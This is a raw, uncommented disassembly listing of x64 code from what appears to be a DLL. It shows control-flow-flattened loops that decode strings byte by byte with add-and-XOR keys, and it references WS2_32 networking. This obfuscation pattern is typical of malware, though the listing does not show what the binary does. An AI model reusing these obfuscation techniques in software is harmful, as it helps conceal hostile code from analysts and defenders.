mov edx, dword [rsp + 0x4c]
mov byte [rcx + 3], dl
mov dword [rsp + 0x5c], 0x64
mov edx, 0x7cde9c81
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x39513744
je 0x180032dee
cmp edx, 0x7cde9c81
jne 0x180032d10
mov edx, 0x1ecb1f2b
nop dword [rax]
cmp edx, 0x92b1c475
je 0x180032d4f
cmp edx, 0x1ecb1f2b
jne 0x180032d30
mov qword [rsp + 0x110], rbp
mov edx, 0x92b1c475
jmp 0x180032d30
mov rdx, qword [rsp + 0x110]
mov dl, byte [rdx]
add dl, 8
movsx edx, dl
xor edx, dword [rsp + 0x5c]
mov dword [rsp + 0x4c], edx
mov edx, 0x39513744
jmp 0x180032d10
mov ecx, dword [rsp + 0x4c]
mov byte [rax + 3], cl
mov dword [rsp + 0x5c], 0x66
mov ecx, 0x7cde9c81
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x39513744
je 0x180032e6e
cmp ecx, 0x7cde9c81
jne 0x180032d90
mov ecx, 0x1ecb1f2b
nop dword [rax]
cmp ecx, 0x92b1c475
je 0x180032dcf
cmp ecx, 0x1ecb1f2b
jne 0x180032db0
mov qword [rsp + 0x110], rbp
mov ecx, 0x92b1c475
jmp 0x180032db0
mov rcx, qword [rsp + 0x110]
mov cl, byte [rcx]
add cl, 0x1c
movsx ecx, cl
xor ecx, dword [rsp + 0x5c]
mov dword [rsp + 0x4c], ecx
mov ecx, 0x39513744
jmp 0x180032d90
mov edx, dword [rsp + 0x4c]
mov byte [rcx + 4], dl
mov dword [rsp + 0x5c], 0x40
mov edx, 0x7cde9c81
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x39513744
je 0x180032eee
cmp edx, 0x7cde9c81
jne 0x180032e10
mov edx, 0x1ecb1f2b
nop dword [rax]
cmp edx, 0x92b1c475
je 0x180032e4f
cmp edx, 0x1ecb1f2b
jne 0x180032e30
mov qword [rsp + 0x110], rbp
mov edx, 0x92b1c475
jmp 0x180032e30
mov rdx, qword [rsp + 0x110]
mov dl, byte [rdx]
add dl, 9
movsx edx, dl
xor edx, dword [rsp + 0x5c]
mov dword [rsp + 0x4c], edx
mov edx, 0x39513744
jmp 0x180032e10
mov ecx, dword [rsp + 0x4c]
mov byte [rax + 4], cl
mov dword [rsp + 0x5c], pe_nt_image_headers64
mov ecx, 0x7cde9c81
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x39513744
je 0x180032f6e
cmp ecx, 0x7cde9c81
jne 0x180032e90
mov ecx, 0x1ecb1f2b
nop dword [rax]
cmp ecx, 0x92b1c475
je 0x180032ecf
cmp ecx, 0x1ecb1f2b
jne 0x180032eb0
mov qword [rsp + 0x110], rbp
mov ecx, 0x92b1c475
jmp 0x180032eb0
mov rcx, qword [rsp + 0x110]
mov cl, byte [rcx]
add cl, 0x1d
movsx ecx, cl
xor ecx, dword [rsp + 0x5c]
mov dword [rsp + 0x4c], ecx
mov ecx, 0x39513744
jmp 0x180032e90
mov edx, dword [rsp + 0x4c]
mov byte [rcx + 5], dl
mov dword [rsp + 0x5c], 0x23
mov edx, 0x7cde9c81
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x39513744
je 0x180032fee
cmp edx, 0x7cde9c81
jne 0x180032f10
mov edx, 0x1ecb1f2b
nop dword [rax]
cmp edx, 0x92b1c475
je 0x180032f4f
cmp edx, 0x1ecb1f2b
jne 0x180032f30
mov qword [rsp + 0x110], rbp
mov edx, 0x92b1c475
jmp 0x180032f30
mov rdx, qword [rsp + 0x110]
mov dl, byte [rdx]
add dl, 0xa
movsx edx, dl
xor edx, dword [rsp + 0x5c]
mov dword [rsp + 0x4c], edx
mov edx, 0x39513744
jmp 0x180032f10
mov ecx, dword [rsp + 0x4c]
mov byte [rax + 5], cl
mov dword [rsp + 0x5c], WSAStartup
mov ecx, 0x7cde9c81
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x39513744
je 0x18003306e
cmp ecx, 0x7cde9c81
jne 0x180032f90
mov ecx, 0x1ecb1f2b
nop dword [rax]
cmp ecx, 0x92b1c475
je 0x180032fcf
cmp ecx, 0x1ecb1f2b
jne 0x180032fb0
mov qword [rsp + 0x110], rbp
mov ecx, 0x92b1c475
jmp 0x180032fb0
mov rcx, qword [rsp + 0x110]
mov cl, byte [rcx]
add cl, 0x1e
movsx ecx, cl
xor ecx, dword [rsp + 0x5c]
mov dword [rsp + 0x4c], ecx
mov ecx, 0x39513744
jmp 0x180032f90
mov edx, dword [rsp + 0x4c]
mov byte [rcx + 6], dl
mov dword [rsp + 0x5c], 0x25
mov edx, 0x7cde9c81
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x39513744
je 0x180033091
cmp edx, 0x7cde9c81
jne 0x180033010
mov edx, 0x1ecb1f2b
nop word cs:[rax + rax]
nop
cmp edx, 0x92b1c475
je 0x18003304f
cmp edx, 0x1ecb1f2b
jne 0x180033030
mov qword [rsp + 0x110], rbp
mov edx, 0x92b1c475
jmp 0x180033030
mov rdx, qword [rsp + 0x110]
mov dl, byte [rdx]
add dl, 0xb
movsx edx, dl
xor edx, dword [rsp + 0x5c]
mov dword [rsp + 0x4c], edx
mov edx, 0x39513744
jmp 0x180033010
mov ecx, dword [rsp + 0x4c]
mov byte [rax + 6], cl
add rax, 7
mov rcx, qword [rsp + 0x68]
add rcx, 0x21
mov qword [rsp + 0x40], rcx
mov ecx, 0xfd85c025
jmp 0x1800328b0
mov edx, dword [rsp + 0x4c]
mov byte [rcx + 7], dl
mov dword [rsp + 0x5c], 0x64
mov edx, 0x7cde9c81
nop word cs:[rax + rax]
nop
cmp edx, 0x39513744
je 0x18003310e
cmp edx, 0x7cde9c81
jne 0x1800330b0
mov edx, 0x1ecb1f2b
nop word cs:[rax + rax]
nop
cmp edx, 0x92b1c475
je 0x1800330ef
cmp edx, 0x1ecb1f2b
jne 0x1800330d0
mov qword [rsp + 0x110], rbp
mov edx, 0x92b1c475
jmp 0x1800330d0
mov rdx, qword [rsp + 0x110]
mov dl, byte [rdx]
add dl, 0xc
movsx edx, dl
xor edx, dword [rsp + 0x5c]
mov dword [rsp + 0x4c], edx
mov edx, 0x39513744
jmp 0x1800330b0
mov edx, dword [rsp + 0x4c]
mov byte [rcx + 8], dl
mov dword [rsp + 0x5c], 0x67
mov edx, 0x7cde9c81
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x39513744
je 0x18003318e
cmp edx, 0x7cde9c81
jne 0x180033130
mov edx, 0x1ecb1f2b
nop word cs:[rax + rax]
nop
cmp edx, 0x92b1c475
je 0x18003316f
cmp edx, 0x1ecb1f2b
jne 0x180033150
mov qword [rsp + 0x110], rbp
mov edx, 0x92b1c475
jmp 0x180033150
mov rdx, qword [rsp + 0x110]
mov dl, byte [rdx]
add dl, 0xd
movsx edx, dl
xor edx, dword [rsp + 0x5c]
mov dword [rsp + 0x4c], edx
mov edx, 0x39513744
jmp 0x180033130
mov edx, dword [rsp + 0x4c]
mov byte [rcx + 9], dl
mov dword [rsp + 0x5c], 0x39
mov edx, 0x7cde9c81
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x39513744
je 0x18003320e
cmp edx, 0x7cde9c81
jne 0x1800331b0
mov edx, 0x1ecb1f2b
nop word cs:[rax + rax]
nop
cmp edx, 0x92b1c475
je 0x1800331ef
cmp edx, 0x1ecb1f2b
jne 0x1800331d0
mov qword [rsp + 0x110], rbp
mov edx, 0x92b1c475
jmp 0x1800331d0
mov rdx, qword [rsp + 0x110]
mov dl, byte [rdx]
add dl, 0xe
movsx edx, dl
xor edx, dword [rsp + 0x5c]
mov dword [rsp + 0x4c], edx
mov edx, 0x39513744
jmp 0x1800331b0
mov edx, dword [rsp + 0x4c]
mov byte [rcx + 0xa], dl
mov dword [rsp + 0x5c], reloc.WS2_32.dll_WSAStartup
mov edx, 0x7cde9c81
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x39513744
je 0x18003328e
cmp edx, 0x7cde9c81
jne 0x180033230
mov edx, 0x1ecb1f2b
nop word cs:[rax + rax]
nop
cmp edx, 0x92b1c475
je 0x18003326f
cmp edx, 0x1ecb1f2b
jne 0x180033250
mov qword [rsp + 0x110], rbp
mov edx, 0x92b1c475
jmp 0x180033250
mov rdx, qword [rsp + 0x110]
mov dl, byte [rdx]
add dl, 0xf
movsx edx, dl
xor edx, dword [rsp + 0x5c]
mov dword [rsp + 0x4c], edx
mov edx, 0x39513744
jmp 0x180033230
mov edx, dword [rsp + 0x4c]
mov byte [rcx + 0xb], dl
mov dword [rsp + 0x5c], 0x65
mov edx, 0x7cde9c81
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x39513744
je 0x18003330e
cmp edx, 0x7cde9c81
jne 0x1800332b0
mov edx, 0x1ecb1f2b
nop word cs:[rax + rax]
nop
cmp edx, 0x92b1c475
je 0x1800332ef
cmp edx, 0x1ecb1f2b
jne 0x1800332d0
mov qword [rsp + 0x110], rbp
mov edx, 0x92b1c475
jmp 0x1800332d0
mov rdx, qword [rsp + 0x110]
mov dl, byte [rdx]
add dl, 0x10
movsx edx, dl
xor edx, dword [rsp + 0x5c]
mov dword [rsp + 0x4c], edx
mov edx, 0x39513744
jmp 0x1800332b0
mov edx, dword [rsp + 0x4c]
mov byte [rcx + 0xc], dl
mov dword [rsp + 0x5c], WSAStartup
mov edx, 0x7cde9c81
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x39513744
je 0x18003338e
cmp edx, 0x7cde9c81
jne 0x180033330
mov edx, 0x1ecb1f2b
nop word cs:[rax + rax]
nop
cmp edx, 0x92b1c475
je 0x18003336f
cmp edx, 0x1ecb1f2b
jne 0x180033350
mov qword [rsp + 0x110], rbp
mov edx, 0x92b1c475
jmp 0x180033350
mov rdx, qword [rsp + 0x110]
mov dl, byte [rdx]
add dl, 0x11
movsx edx, dl
xor edx, dword [rsp + 0x5c]
mov dword [rsp + 0x4c], edx
mov edx, 0x39513744
jmp 0x180033330
mov edx, dword [rsp + 0x4c]
mov byte [rcx + 0xd], dl
mov dword [rsp + 0x5c], 0x33
mov edx, 0x7cde9c81
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x39513744
je 0x18003340e
cmp edx, 0x7cde9c81
jne 0x1800333b0
mov edx, 0x1ecb1f2b
nop word cs:[rax + rax]
nop
cmp edx, 0x92b1c475
je 0x1800333ef
cmp edx, 0x1ecb1f2b
jne 0x1800333d0
mov qword [rsp + 0x110], rbp
mov edx, 0x92b1c475
jmp 0x1800333d0
mov rdx, qword [rsp + 0x110]
mov dl, byte [rdx]
add dl, 0x12
movsx edx, dl
xor edx, dword [rsp + 0x5c]
mov dword [rsp + 0x4c], edx
mov edx, 0x39513744
jmp 0x1800333b0
mov edx, dword [rsp + 0x4c]
mov byte [rcx + 0xe], dl
mov dword [rsp + 0x5c], 0x24
mov edx, 0x7cde9c81
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x39513744
je 0x18003348e
cmp edx, 0x7cde9c81
jne 0x180033430
mov edx, 0x1ecb1f2b
nop word cs:[rax + rax]
nop
cmp edx, 0x92b1c475
je 0x18003346f
cmp edx, 0x1ecb1f2b
jne 0x180033450
mov qword [rsp + 0x110], rbp
mov edx, 0x92b1c475
jmp 0x180033450
mov rdx, qword [rsp + 0x110]
mov dl, byte [rdx]
add dl, 0x13
movsx edx, dl
xor edx, dword [rsp + 0x5c]
mov dword [rsp + 0x4c], edx
mov edx, 0x39513744
jmp 0x180033430
mov edx, dword [rsp + 0x4c]
mov byte [rcx + 0xf], dl
mov dword [rsp + 0x5c], 0x23
mov edx, 0x7cde9c81
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x39513744
je 0x18003350e
cmp edx, 0x7cde9c81
jne 0x1800334b0
mov edx, 0x1ecb1f2b
nop word cs:[rax + rax]
nop
cmp edx, 0x92b1c475
je 0x1800334ef
cmp edx, 0x1ecb1f2b
jne 0x1800334d0
mov qword [rsp + 0x110], rbp
mov edx, 0x92b1c475
jmp 0x1800334d0
mov rdx, qword [rsp + 0x110]
mov dl, byte [rdx]
add dl, 0x14
movsx edx, dl
xor edx, dword [rsp + 0x5c]
mov dword [rsp + 0x4c], edx
mov edx, 0x39513744
jmp 0x1800334b0
mov edx, dword [rsp + 0x4c]
mov byte [rcx + 0x10], dl
mov dword [rsp + 0x5c], 0x24
mov edx, 0x7cde9c81
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x39513744
je 0x18003358e
cmp edx, 0x7cde9c81
jne 0x180033530
mov edx, 0x1ecb1f2b
nop word cs:[rax + rax]
nop
cmp edx, 0x92b1c475
je 0x18003356f
cmp edx, 0x1ecb1f2b
jne 0x180033550
mov qword [rsp + 0x110], rbp
mov edx, 0x92b1c475
jmp 0x180033550
mov rdx, qword [rsp + 0x110]
mov dl, byte [rdx]
add dl, 0x15
movsx edx, dl
xor edx, dword [rsp + 0x5c]
mov dword [rsp + 0x4c], edx
mov edx, 0x39513744
jmp 0x180033530
mov edx, dword [rsp + 0x4c]
mov byte [rcx + 0x11], dl
mov dword [rsp + 0x5c], 0x5e
mov edx, 0x7cde9c81
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x39513744
je 0x18003360e
cmp edx, 0x7cde9c81
jne 0x1800335b0
mov edx, 0x1ecb1f2b
nop word cs:[rax + rax]
nop
cmp edx, 0x92b1c475
je 0x1800335ef
cmp edx, 0x1ecb1f2b
jne 0x1800335d0
mov qword [rsp + 0x110], rbp
mov edx, 0x92b1c475
jmp 0x1800335d0
mov rdx, qword [rsp + 0x110]
mov dl, byte [rdx]
add dl, 0x16
movsx edx, dl
xor edx, dword [rsp + 0x5c]
mov dword [rsp + 0x4c], edx
mov edx, 0x39513744
jmp 0x1800335b0
mov edx, dword [rsp + 0x4c]
mov byte [rcx + 0x12], dl
mov dword [rsp + 0x5c], 0x40
mov edx, 0x7cde9c81
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x39513744
je 0x18003368e
cmp edx, 0x7cde9c81
jne 0x180033630
mov edx, 0x1ecb1f2b
nop word cs:[rax + rax]
nop
cmp edx, 0x92b1c475
je 0x18003366f
cmp edx, 0x1ecb1f2b
jne 0x180033650
mov qword [rsp + 0x110], rbp
mov edx, 0x92b1c475
jmp 0x180033650
mov rdx, qword [rsp + 0x110]
mov dl, byte [rdx]
add dl, 0x17
movsx edx, dl
xor edx, dword [rsp + 0x5c]
mov dword [rsp + 0x4c], edx
mov edx, 0x39513744
jmp 0x180033630
mov edx, dword [rsp + 0x4c]
mov byte [rcx + 0x13], dl
add rcx, 0x14
mov qword [rsp + 0x60], rcx
mov byte [rsp + 0x80], 0x33
mov ecx, 0x45754e09
jmp 0x1800328b0
mov rcx, rbp
call fcn.180037b00
mov rcx, rax
call fcn.1800c7e10
mov rbp, rax
lea rdi, [rsp + 0x110]
mov qword [rsp + 0x68], rdi
mov rax, qword [rsp + 0x68]
mov byte [rax], 0x3c
mov rax, qword [rsp + 0x68]
mov dword [rsp + 0x60], 0x52
mov qword [rsp + 0x40], rdi
mov ecx, 0x1d4dde82
nop
cmp ecx, 0x60a30cce
je 0x180033713
cmp ecx, 0x1d4dde82
jne 0x1800336f0
mov rcx, qword [rsp + 0x40]
movzx ecx, byte [rcx]
mov byte [rsp + 0x50], cl
mov ecx, 0x60a30cce
jmp 0x1800336f0
mov cl, byte [rsp + 0x50]
mov byte [rsp + 0x50], cl
mov ecx, 0xb69627d7
cmp ecx, 0x8e4c28a0
je 0x180033740
cmp ecx, 0xb69627d7
jne 0x180033720
movsx ecx, byte [rsp + 0x50]
mov dword [rsp + 0x40], ecx
mov ecx, 0x8e4c28a0
jmp 0x180033720
mov ecx, dword [rsp + 0x60]
xor ecx, dword [rsp + 0x40]
mov byte [rax + 1], cl
mov dword [rsp + 0x60], 0x47
mov qword [rsp + 0x40], rdi
mov ecx, 0x1d4dde82
nop dword [rax]
cmp ecx, 0x60a30cce
je 0x180033786
cmp ecx, 0x1d4dde82
jne 0x180033760
mov rcx, qword [rsp + 0x40]
movzx ecx, byte [rcx]
add cl, 1
mov byte [rsp + 0x50], cl
mov ecx, 0x60a30cce
jmp 0x180033760
mov cl, byte [rsp + 0x50]
mov byte [rsp + 0x50], cl
mov ecx, 0xb69627d7
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8e4c28a0
je 0x1800337c0
cmp ecx, 0xb69627d7
jne 0x1800337a0
movsx ecx, byte [rsp + 0x50]
mov dword [rsp + 0x40], ecx
mov ecx, 0x8e4c28a0
jmp 0x1800337a0
mov ecx, dword [rsp + 0x60]
xor ecx, dword [rsp + 0x40]
mov byte [rax + 2], cl
mov dword [rsp + 0x60], 0x64
mov qword [rsp + 0x40], rdi
mov ecx, 0x1d4dde82
nop dword [rax]
cmp ecx, 0x60a30cce
je 0x180033806
cmp ecx, 0x1d4dde82
jne 0x1800337e0
mov rcx, qword [rsp + 0x40]
movzx ecx, byte [rcx]
add cl, 2
mov byte [rsp + 0x50], cl
mov ecx, 0x60a30cce
jmp 0x1800337e0
mov cl, byte [rsp + 0x50]
mov byte [rsp + 0x50], cl
mov ecx, 0xb69627d7
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8e4c28a0
je 0x180033840
cmp ecx, 0xb69627d7
jne 0x180033820
movsx ecx, byte [rsp + 0x50]
mov dword [rsp + 0x40], ecx
mov ecx, 0x8e4c28a0
jmp 0x180033820
mov ecx, dword [rsp + 0x60]
xor ecx, dword [rsp + 0x40]
mov byte [rax + 3], cl
mov dword [rsp + 0x60], 0x63
mov qword [rsp + 0x40], rdi
mov ecx, 0x1d4dde82
nop dword [rax]
cmp ecx, 0x60a30cce
je 0x180033886
cmp ecx, 0x1d4dde82
jne 0x180033860
mov rcx, qword [rsp + 0x40]
movzx ecx, byte [rcx]
add cl, 3
mov byte [rsp + 0x50], cl
mov ecx, 0x60a30cce
jmp 0x180033860
mov cl, byte [rsp + 0x50]
mov byte [rsp + 0x50], cl
mov ecx, 0xb69627d7
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8e4c28a0
je 0x1800338c0
cmp ecx, 0xb69627d7
jne 0x1800338a0
movsx ecx, byte [rsp + 0x50]
mov dword [rsp + 0x40], ecx
mov ecx, 0x8e4c28a0
jmp 0x1800338a0
mov ecx, dword [rsp + 0x60]
xor ecx, dword [rsp + 0x40]
mov byte [rax + 4], cl
mov dword [rsp + 0x60], reloc.WS2_32.dll_WSAStartup
mov qword [rsp + 0x40], rdi
mov ecx, 0x1d4dde82
nop dword [rax]
cmp ecx, 0x60a30cce
je 0x180033906
cmp ecx, 0x1d4dde82
jne 0x1800338e0
mov rcx, qword [rsp + 0x40]
movzx ecx, byte [rcx]
add cl, 4
mov byte [rsp + 0x50], cl
mov ecx, 0x60a30cce
jmp 0x1800338e0
mov cl, byte [rsp + 0x50]
mov byte [rsp + 0x50], cl
mov ecx, 0xb69627d7
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8e4c28a0
je 0x180033940
cmp ecx, 0xb69627d7
jne 0x180033920
movsx ecx, byte [rsp + 0x50]
mov dword [rsp + 0x40], ecx
mov ecx, 0x8e4c28a0
jmp 0x180033920
mov ecx, dword [rsp + 0x60]
xor ecx, dword [rsp + 0x40]
mov byte [rax + 5], cl
mov dword [rsp + 0x60], 0x65
mov qword [rsp + 0x40], rdi
mov ecx, 0x1d4dde82
nop dword [rax]
cmp ecx, 0x60a30cce
je 0x180033986
cmp ecx, 0x1d4dde82
jne 0x180033960
mov rcx, qword [rsp + 0x40]
movzx ecx, byte [rcx]
add cl, 5
mov byte [rsp + 0x50], cl
mov ecx, 0x60a30cce
jmp 0x180033960
mov cl, byte [rsp + 0x50]
mov byte [rsp + 0x50], cl
mov ecx, 0xb69627d7
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8e4c28a0
je 0x1800339c0
cmp ecx, 0xb69627d7
jne 0x1800339a0
movsx ecx, byte [rsp + 0x50]
mov dword [rsp + 0x40], ecx
mov ecx, 0x8e4c28a0
jmp 0x1800339a0
mov ecx, dword [rsp + 0x60]
xor ecx, dword [rsp + 0x40]
mov byte [rax + 6], cl
mov dword [rsp + 0x60], 0x64
mov qword [rsp + 0x40], rdi
mov ecx, 0x1d4dde82
nop dword [rax]
cmp ecx, 0x60a30cce
je 0x180033a06
cmp ecx, 0x1d4dde82
jne 0x1800339e0
mov rcx, qword [rsp + 0x40]
movzx ecx, byte [rcx]
add cl, 6
mov byte [rsp + 0x50], cl
mov ecx, 0x60a30cce
jmp 0x1800339e0
mov cl, byte [rsp + 0x50]
mov byte [rsp + 0x50], cl
mov ecx, 0xb69627d7
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8e4c28a0
je 0x180033a40
cmp ecx, 0xb69627d7
jne 0x180033a20
movsx ecx, byte [rsp + 0x50]
mov dword [rsp + 0x40], ecx
mov ecx, 0x8e4c28a0
jmp 0x180033a20
mov ecx, dword [rsp + 0x60]
xor ecx, dword [rsp + 0x40]
mov byte [rax + 7], cl
mov dword [rsp + 0x60], 0x66
mov qword [rsp + 0x40], rdi
mov ecx, 0x1d4dde82
nop dword [rax]
cmp ecx, 0x60a30cce
je 0x180033a86
cmp ecx, 0x1d4dde82
jne 0x180033a60
mov rcx, qword [rsp + 0x40]
movzx ecx, byte [rcx]
add cl, 7
mov byte [rsp + 0x50], cl
mov ecx, 0x60a30cce
jmp 0x180033a60
mov cl, byte [rsp + 0x50]
mov byte [rsp + 0x50], cl
mov ecx, 0xb69627d7
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8e4c28a0
je 0x180033ac0
cmp ecx, 0xb69627d7
jne 0x180033aa0
movsx ecx, byte [rsp + 0x50]
mov dword [rsp + 0x40], ecx
mov ecx, 0x8e4c28a0
jmp 0x180033aa0
mov ecx, dword [rsp + 0x60]
xor ecx, dword [rsp + 0x40]
mov byte [rax + 8], cl
mov dword [rsp + 0x60], 0x64
mov qword [rsp + 0x40], rdi
mov ecx, 0x1d4dde82
nop dword [rax]
cmp ecx, 0x60a30cce
je 0x180033b06
cmp ecx, 0x1d4dde82
jne 0x180033ae0
mov rcx, qword [rsp + 0x40]
movzx ecx, byte [rcx]
add cl, 8
mov byte [rsp + 0x50], cl
mov ecx, 0x60a30cce
jmp 0x180033ae0
mov cl, byte [rsp + 0x50]
mov byte [rsp + 0x50], cl
mov ecx, 0xb69627d7
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8e4c28a0
je 0x180033b40
cmp ecx, 0xb69627d7
jne 0x180033b20
movsx ecx, byte [rsp + 0x50]
mov dword [rsp + 0x40], ecx
mov ecx, 0x8e4c28a0
jmp 0x180033b20
mov ecx, dword [rsp + 0x60]
xor ecx, dword [rsp + 0x40]
mov byte [rax + 9], cl
mov dword [rsp + 0x60], 0x40
mov qword [rsp + 0x40], rdi
mov ecx, 0x1d4dde82
nop dword [rax]
cmp ecx, 0x60a30cce
je 0x180033b86
cmp ecx, 0x1d4dde82
jne 0x180033b60
mov rcx, qword [rsp + 0x40]
movzx ecx, byte [rcx]
add cl, 9
mov byte [rsp + 0x50], cl
mov ecx, 0x60a30cce
jmp 0x180033b60
mov cl, byte [rsp + 0x50]
mov byte [rsp + 0x50], cl
mov ecx, 0xb69627d7
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8e4c28a0
je 0x180033bc0
cmp ecx, 0xb69627d7
jne 0x180033ba0
movsx ecx, byte [rsp + 0x50]
mov dword [rsp + 0x40], ecx
mov ecx, 0x8e4c28a0
jmp 0x180033ba0
mov ecx, dword [rsp + 0x60]
xor ecx, dword [rsp + 0x40]
mov byte [rax + 0xa], cl
mov dword [rsp + 0x60], 0x23
mov qword [rsp + 0x40], rdi
mov ecx, 0x1d4dde82
nop dword [rax]
cmp ecx, 0x60a30cce
je 0x180033c06
cmp ecx, 0x1d4dde82
jne 0x180033be0
mov rcx, qword [rsp + 0x40]
movzx ecx, byte [rcx]
add cl, 0xa
mov byte [rsp + 0x50], cl
mov ecx, 0x60a30cce
jmp 0x180033be0
mov cl, byte [rsp + 0x50]
mov byte [rsp + 0x50], cl
mov ecx, 0xb69627d7
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8e4c28a0
je 0x180033c40
cmp ecx, 0xb69627d7
jne 0x180033c20
movsx ecx, byte [rsp + 0x50]
mov dword [rsp + 0x40], ecx
mov ecx, 0x8e4c28a0
jmp 0x180033c20
mov ecx, dword [rsp + 0x60]
xor ecx, dword [rsp + 0x40]
mov byte [rax + 0xb], cl
mov dword [rsp + 0x60], 0x25
mov qword [rsp + 0x40], rdi
mov ecx, 0x1d4dde82
nop dword [rax]
cmp ecx, 0x60a30cce
je 0x180033c86
cmp ecx, 0x1d4dde82
jne 0x180033c60
mov rcx, qword [rsp + 0x40]
movzx ecx, byte [rcx]
add cl, 0xb
mov byte [rsp + 0x50], cl
mov ecx, 0x60a30cce
jmp 0x180033c60
mov cl, byte [rsp + 0x50]
mov byte [rsp + 0x50], cl
mov ecx, 0xb69627d7
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8e4c28a0
je 0x180033cc0
cmp ecx, 0xb69627d7
jne 0x180033ca0
movsx ecx, byte [rsp + 0x50]
mov dword [rsp + 0x40], ecx
mov ecx, 0x8e4c28a0
jmp 0x180033ca0
mov ecx, dword [rsp + 0x60]
xor ecx, dword [rsp + 0x40]
mov byte [rax + 0xc], cl
mov dword [rsp + 0x60], 0x64
mov qword [rsp + 0x40], rdi
mov ecx, 0x1d4dde82
nop dword [rax]
cmp ecx, 0x60a30cce
je 0x180033d06
cmp ecx, 0x1d4dde82
jne 0x180033ce0
mov rcx, qword [rsp + 0x40]
movzx ecx, byte [rcx]
add cl, 0xc
mov byte [rsp + 0x50], cl
mov ecx, 0x60a30cce
jmp 0x180033ce0
mov cl, byte [rsp + 0x50]
mov byte [rsp + 0x50], cl
mov ecx, 0xb69627d7
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8e4c28a0
je 0x180033d40
cmp ecx, 0xb69627d7
jne 0x180033d20
movsx ecx, byte [rsp + 0x50]
mov dword [rsp + 0x40], ecx
mov ecx, 0x8e4c28a0
jmp 0x180033d20
mov ecx, dword [rsp + 0x60]
xor ecx, dword [rsp + 0x40]
mov byte [rax + 0xd], cl
mov dword [rsp + 0x60], 0x67
mov qword [rsp + 0x40], rdi
mov ecx, 0x1d4dde82
nop dword [rax]
cmp ecx, 0x60a30cce
je 0x180033d86
cmp ecx, 0x1d4dde82
jne 0x180033d60
mov rcx, qword [rsp + 0x40]
movzx ecx, byte [rcx]
add cl, 0xd
mov byte [rsp + 0x50], cl
mov ecx, 0x60a30cce
jmp 0x180033d60
mov cl, byte [rsp + 0x50]
mov byte [rsp + 0x50], cl
mov ecx, 0xb69627d7
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8e4c28a0
je 0x180033dc0
cmp ecx, 0xb69627d7
jne 0x180033da0
movsx ecx, byte [rsp + 0x50]
mov dword [rsp + 0x40], ecx
mov ecx, 0x8e4c28a0
jmp 0x180033da0
mov ecx, dword [rsp + 0x60]
xor ecx, dword [rsp + 0x40]
mov byte [rax + 0xe], cl
mov dword [rsp + 0x60], 0x39
mov qword [rsp + 0x40], rdi
mov ecx, 0x1d4dde82
nop dword [rax]
cmp ecx, 0x60a30cce
je 0x180033e06
cmp ecx, 0x1d4dde82
jne 0x180033de0
mov rcx, qword [rsp + 0x40]
movzx ecx, byte [rcx]
add cl, 0xe
mov byte [rsp + 0x50], cl
mov ecx, 0x60a30cce
jmp 0x180033de0
mov cl, byte [rsp + 0x50]
mov byte [rsp + 0x50], cl
mov ecx, 0xb69627d7
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8e4c28a0
je 0x180033e40
cmp ecx, 0xb69627d7
jne 0x180033e20
movsx ecx, byte [rsp + 0x50]
mov dword [rsp + 0x40], ecx
mov ecx, 0x8e4c28a0
jmp 0x180033e20
mov ecx, dword [rsp + 0x60]
xor ecx, dword [rsp + 0x40]
mov byte [rax + 0xf], cl
mov dword [rsp + 0x60], reloc.WS2_32.dll_WSAStartup
mov qword [rsp + 0x40], rdi
mov ecx, 0x1d4dde82
nop dword [rax]
cmp ecx, 0x60a30cce
je 0x180033e86
cmp ecx, 0x1d4dde82
jne 0x180033e60
mov rcx, qword [rsp + 0x40]
movzx ecx, byte [rcx]
add cl, 0xf
mov byte [rsp + 0x50], cl
mov ecx, 0x60a30cce
jmp 0x180033e60
mov cl, byte [rsp + 0x50]
mov byte [rsp + 0x50], cl
mov ecx, 0xb69627d7
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8e4c28a0
je 0x180033ec0
cmp ecx, 0xb69627d7
jne 0x180033ea0
movsx ecx, byte [rsp + 0x50]
mov dword [rsp + 0x40], ecx
mov ecx, 0x8e4c28a0
jmp 0x180033ea0
mov ecx, dword [rsp + 0x60]
xor ecx, dword [rsp + 0x40]
mov byte [rax + 0x10], cl
mov dword [rsp + 0x60], 0x65
mov qword [rsp + 0x40], rdi
mov ecx, 0x1d4dde82
nop dword [rax]
cmp ecx, 0x60a30cce
je 0x180033f06
cmp ecx, 0x1d4dde82
jne 0x180033ee0
mov rcx, qword [rsp + 0x40]
movzx ecx, byte [rcx]
add cl, 0x10
mov byte [rsp + 0x50], cl
mov ecx, 0x60a30cce
jmp 0x180033ee0
mov cl, byte [rsp + 0x50]
mov byte [rsp + 0x50], cl
mov ecx, 0xb69627d7
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8e4c28a0
